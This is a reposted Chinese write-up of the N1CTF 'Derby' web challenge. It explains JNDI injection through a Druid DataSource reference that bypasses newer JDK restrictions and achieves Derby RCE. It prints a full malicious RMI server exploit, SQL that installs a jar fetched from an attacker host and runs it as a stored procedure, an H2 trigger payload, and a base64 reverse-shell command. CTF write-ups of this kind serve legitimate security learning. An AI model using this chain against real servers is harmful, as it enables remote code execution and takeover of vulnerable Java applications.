第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce

这篇具有很好参考价值的文章主要介绍了第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

感谢N1CTF提供的题目

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护

这道题对于我来说涉猎的广度大难度大,对于佬来说就洒洒水,所以这个wp可能会绕圈子或者复杂化,也可以去看前几名的题解,都非常不错!

题目

第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审

信息收集

题目给了源码,使用jadx反编译查看源码,发现这个是Springboot项目,在Controller层写出来相关的代码:
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
这里的InitialContext构造了jndi的访问环境,url是可控的,所以这个题突破口就是jndi注入然后,题目说的Java8,刚开始还以为是jdk8想着直接用JNDI-Injection-Exploit-master直接梭哈,但是发现不对劲会直接卡主,因为高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,不会从指定的远程地址下载class类来执行,所以可以在图片中看到没有JETTYSERVER返回第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审

不能梭哈就查看一下pom信息
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审

这里看到使用了druid数据库连接池和derby数据库

Druid是一个数据库连接池。Druid是目前最好的数据库连接池,在功能、性能、扩展性方面,都超过其他数据库连接池,包括DBCP、C3P0、BoneCP、Proxool、JBoss DataSource。yej第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审

Apache Derby 是一个开源的嵌入式关系型数据库,完全使用 Java 语言实现

通过题目给出的hint:“Druid 绕过高版本 JDK 打 Derby RCE, 善用搜索引擎”;我们可以发现这个是druid使用derby数据库然后实现RCE
通过提示找到了两个师傅写的已经存在的exp,接下来通过这些来构造相应的攻击链:
JNDI jdk高版本绕过—— Druid
derby数据库如何实现RCE

绕过高版本jdk

在信息收集的第一篇中,给出了绕过的exp:

try{
    Registry registry = LocateRegistry.createRegistry(8883);
    Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
    "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
    "java.lang.Runtime.getRuntime().exec('cmd /c calc.exe')\n" +
    "$$\n";
    String JDBC_USER = "root";
    String JDBC_PASSWORD = "password";

    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username",JDBC_USER));
    ref.add(new StringRefAddr("password",JDBC_PASSWORD));
    ref.add(new StringRefAddr("initialSize","1"));
    ref.add(new StringRefAddr("init","true"));
    ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

    Naming.bind("rmi://localhost:8883/zlgExploit",referenceWrapper);
}
catch(Exception e){
    e.printStackTrace();
}

它上面所用的是h2数据库,用的h2的alias来实现的Java代码执行,derby是不行的,在第二篇的derby RCE是要操作数据库,所以我们得换jdbc并且要找到一种方法在数据库连接后反序列化执行sql语句,又因为我们是靶场docker实现的,所以derby大概率不会使用网络模式而会使用内嵌模式直接连接,所以我们无需考虑数据库账号密码问题

找到jdbc

尝试在jadx中搜索对应的驱动方法名,因为pom导入的包在 org.apache.derby,中所以重点看这个路径下的字类,并且一般驱动以Driver结尾
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
所以driverClassName为:org.apache.derby.jdbc.EmbeddedDriver

找到连接的数据库

chatgpt问出来他的默认存在数据库应该是sample;但是我们可以在连接的时候加上’;create=true’来表示如果这个数据库不存在,则创建;

连接成功

第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
报了个错误,是因为testWhileIdle设置的true,需要一个查询语句来查询,加了validationQuery会引发错误第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
又受到这篇文章的误导第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
设置为select 1还是引发报错,这里弄了非常久的时间一度考虑是否是数据库需要密码的情况,最后在另外一篇帖子发现应该使用SELECT 1 FROM SYSIBM.SYSDUMMY1 ;;;▄█▀█●
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
好,新增一行键值对:

ref.add(new StringRefAddr("validationQuery","SELECT 1 FROM SYSIBM.SYSDUMMY1"));

打derby实现RCE

根据第二篇信息收集给出的exp:
exp.java -> jar

import java.io.IOException;

public class testShell4 {
    public static void exec() throws IOException {
        Runtime.getRuntime().exec("cmd.exe /c calc");
    }
}

sql:

## 导入一个类到数据库中
CALL SQLJ.INSTALL_JAR('http://127.0.0.1:8088/test3.jar', 'APP.Sample4', 0)

## 将这个类加入到derby.database.classpath,这个属性是动态的,不需要重启数据库
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample4')

## 创建一个PROCEDURE,EXTERNAL NAME 后面的值可以调用类的static类型方法
CREATE PROCEDURE SALES.TOTAL_REVENUES() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'testShell4.exec'

## 调用PROCEDURE
CALL SALES.TOTAL_REVENUES()
利用initConnectionSql执行sql

这里执行sql就很麻烦,所以结合第一篇文章找一下有没有可以利用的:
在com.alibaba.druid.pool.DruidDataSourceFactory中实现了ObjectFactory类
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
在其中找到了很多定义的字符串常量,里面都是可以被我们所利用的
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
第一段代码我们的代码相调用的对应,第二段就是将reference依次解析成响应的键值对
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
在里面找到到了这个initConnectionSqls,推测是连接后所执行的sql语句,注意后面带个s,那么是不是可以执行多条sql呢?接下来往下找
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
我们发现在这里对这个字符串进行了处理,把他按引号进行分割,在使用集合转换为list第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
有了这个思路就很清晰,直接结合第二篇的exp构造:

ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://XXX.XXX.XXX.XXX:8000/exp.jar', 'APP.Sample2', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample2');CREATE PROCEDURE SALES.TOTAL_Exp2() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.example.testShell4.exec';CALL SALES.TOTAL_Exp2();"));

并且根据第二篇exp把使用base64编码的反弹shell构造jar包
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
并放到VPS对应的上,使用python创建一个简单的服务
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
并且我需要将我伪装的rmi服务器也放到公网上面,这里为了方便,用花生壳来映射rmi端口:
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
反弹成功读取flag:
第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审

exp:

rmi服务器Exp:
try{
            Registry registry = LocateRegistry.createRegistry(8883);
            Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
            String JDBC_URL = "jdbc:derby:sample;create=true";
            ref.add(new StringRefAddr("driverClassName","org.apache.derby.jdbc.EmbeddedDriver"));
            ref.add(new StringRefAddr("url",JDBC_URL));
            ref.add(new StringRefAddr("initialSize","1"));
            ref.add(new StringRefAddr("init","true"));
            ref.add(new StringRefAddr("validationQuery","SELECT 1 FROM SYSIBM.SYSDUMMY1"));
            ref.add(new StringRefAddr("initConnectionSqls","CALL SQLJ.INSTALL_JAR('http://XXX.XXX.XXX.XXX:8000/exp.jar', 'APP.Sample2', 0);CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Sample2');CREATE PROCEDURE SALES.TOTAL_Exp2() PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'com.example.testShell4.exec';CALL SALES.TOTAL_Exp2();"));
            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            Naming.bind("rmi://0.0.0.0:8883/zlgExploit",referenceWrapper);
            System.out.println("Conn~~~");
        }
具有反弹shell的jar包Exp:
Runtime.getRuntime().exec("bash -c {echo,``base64base64base64String==``}|{base64,-d}|{bash,-i}");
攻击流程:

第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce,java,开发语言,网络安全,代码复审
总结:佬们看个乐子就好,缝合了很多其他师傅的exp▄█▀█●才勉强解出来,太多师傅强的离谱了文章来源地址https://www.toymoban.com/news/detail-828079.html

到了这里,关于第二届N1CTF Web Derby wp jndi注入通过Druid绕过高版本jdk打Derby Rce的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 安全狗亮相2023第二届上海网络安全博览会

    7月5日至7日 ,“新耀东方-2023第二届上海网络安全博览会暨高峰论坛”在上海顺利举办。此次大会由上海市信息网络安全管理协会、国家计算机网络应急技术处理协调中心上海分中心、(ISC)2上海分会、上海市普陀区科学技术委员会、上海市网络安全产业示范园共同主办。 作为

    2024年02月16日
    浏览(38)
  • “美亚杯”第二届中国电子数据取证大赛答案解析(团体赛)

    1. 根据所提供的文件,在映像文件的采集过程中,曾使用那一种的写入保护设备? A)软件写入保护设备 B)WiebeTech写入保护设备 C)EPOS写入保护器 D)Tableau取证工具SATA / IDE Bridge IEEE 1394 SBP2Device E)ICS drive lock 取证过程中,镜像文件需要与源文件保持完全一致,所以写入设备

    2024年02月16日
    浏览(37)
  • 2023第二届陇剑杯网络安全大赛 预选赛Writeup

    题目附件 这题其实可以参考这篇文章:从一道题分析Nmap SYN/半连接/半开放扫描流量 TCP扫描确认端口开放的标志就是返回 SYN+ACK 的包,所以只需要过滤 SYN、ACK 状态都为 1 的包即可 答案 过滤 http 发现这里有个 shell.jsp 右键追踪HTTP流,可以看到 shell.jsp 的内容,哥斯拉AES加密的

    2024年02月11日
    浏览(63)
  • 第二届“陇剑杯”网络安全大赛线上赛write up2023

    解法一: 键盘按住向下,一个一个看,能看到 80, 888, 8888   ip.dst是指IP报文中的目标IP地址。在计算机网络中,每个设备都有一个唯一的IP地址,用于标识其在网络中的位置。发送数据时,数据包会被封装成IP报文,并通过网络传输到目标设备。ip.dst即表示这个IP报文的目标设

    2024年02月08日
    浏览(77)
  • 新耀东方|安全狗亮相2023第二届上海网络安全博览会

    7月5日至7日 ,“新耀东方-2023第二届上海网络安全博览会暨高峰论坛”在上海顺利举办。此次大会由上海市信息网络安全管理协会、国家计算机网络应急技术处理协调中心上海分中心、(ISC)2上海分会、上海市普陀区科学技术委员会、上海市网络安全产业示范园共同主办。 作为

    2024年02月16日
    浏览(47)
  • 【河南省第二届技能大赛-物联网技术】C模块Python开发讲解

    这是基于样题进行讲解的文章,因为正式赛题尚未公布和样题类型相似。文章结尾提供了源码和环境链接,读者可以自行下载以进行更深入的学习和优化。 注意:题目中的API链接,是在比赛局域网环境下进行的,在平常练习的时候,用新大陆官方链接即可! 链接:新大陆官

    2024年02月01日
    浏览(60)
  • 【EI征稿】第二届移动互联网、云计算与信息安全国际会议

    会议地点:中国 长沙 会议时间:2024年3月15日-17日 论文提交截止日期:2024年2月4日 会议检索:提交EI、Scopus检索 大会官网: miccis 出版及征稿主题 集中但不限于 “移动互联网、云计算和信息安全” 等其他相关主题。 移动互联网 :移动应用、手机游戏、服务计算、移动交易

    2024年02月03日
    浏览(42)
  • 2023第二届浙江省技能大赛温州市选拔赛任务书

    竞赛时间 共计3小时。 任务一:Windows操作系统渗透测试 任务环境说明: 服务器场景:Server2003(开放链接) 服务器场景操作系统:Windows7 1.通过本地PC中渗透测试平台Kali对服务器场景Windows进行系统服务及版本扫描渗透测试,并将该操作显示结果中Telnet服务对应的端口号

    2024年02月03日
    浏览(48)
  • 第二届易派客工业品展圆满落幕 3天超7万人次观展

    4月15日, 第二届易派客工业品展览会在苏州国际博览中心成功闭幕,展会期间共7.4万人次观展 。展会以“绿色•智造•融通•赋能”为主题,为参展企业衔接供需、共享商机、共促发展提供平台,推动工业企业数字化转型、致力供应链优化升级、激发产业链创新动能。 在

    2023年04月25日
    浏览(48)
  • 拥抱储能新时代!科士达闪耀EESA第二届中国国际储能展览会

    2023年8月30日,EESA第二届中国国际储能展览会在苏州国际博览中心拉开帷幕,科士达以“零碳光储·数能未来”为主题,亮相G3-20展台,多维度展现户用光储、工商业储能、大型储能等解决方案,彰显安全、高效、可靠的产品性能和新颖、简约的产品设计理念,实力诠释绿电生

    2024年02月10日
    浏览(29)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包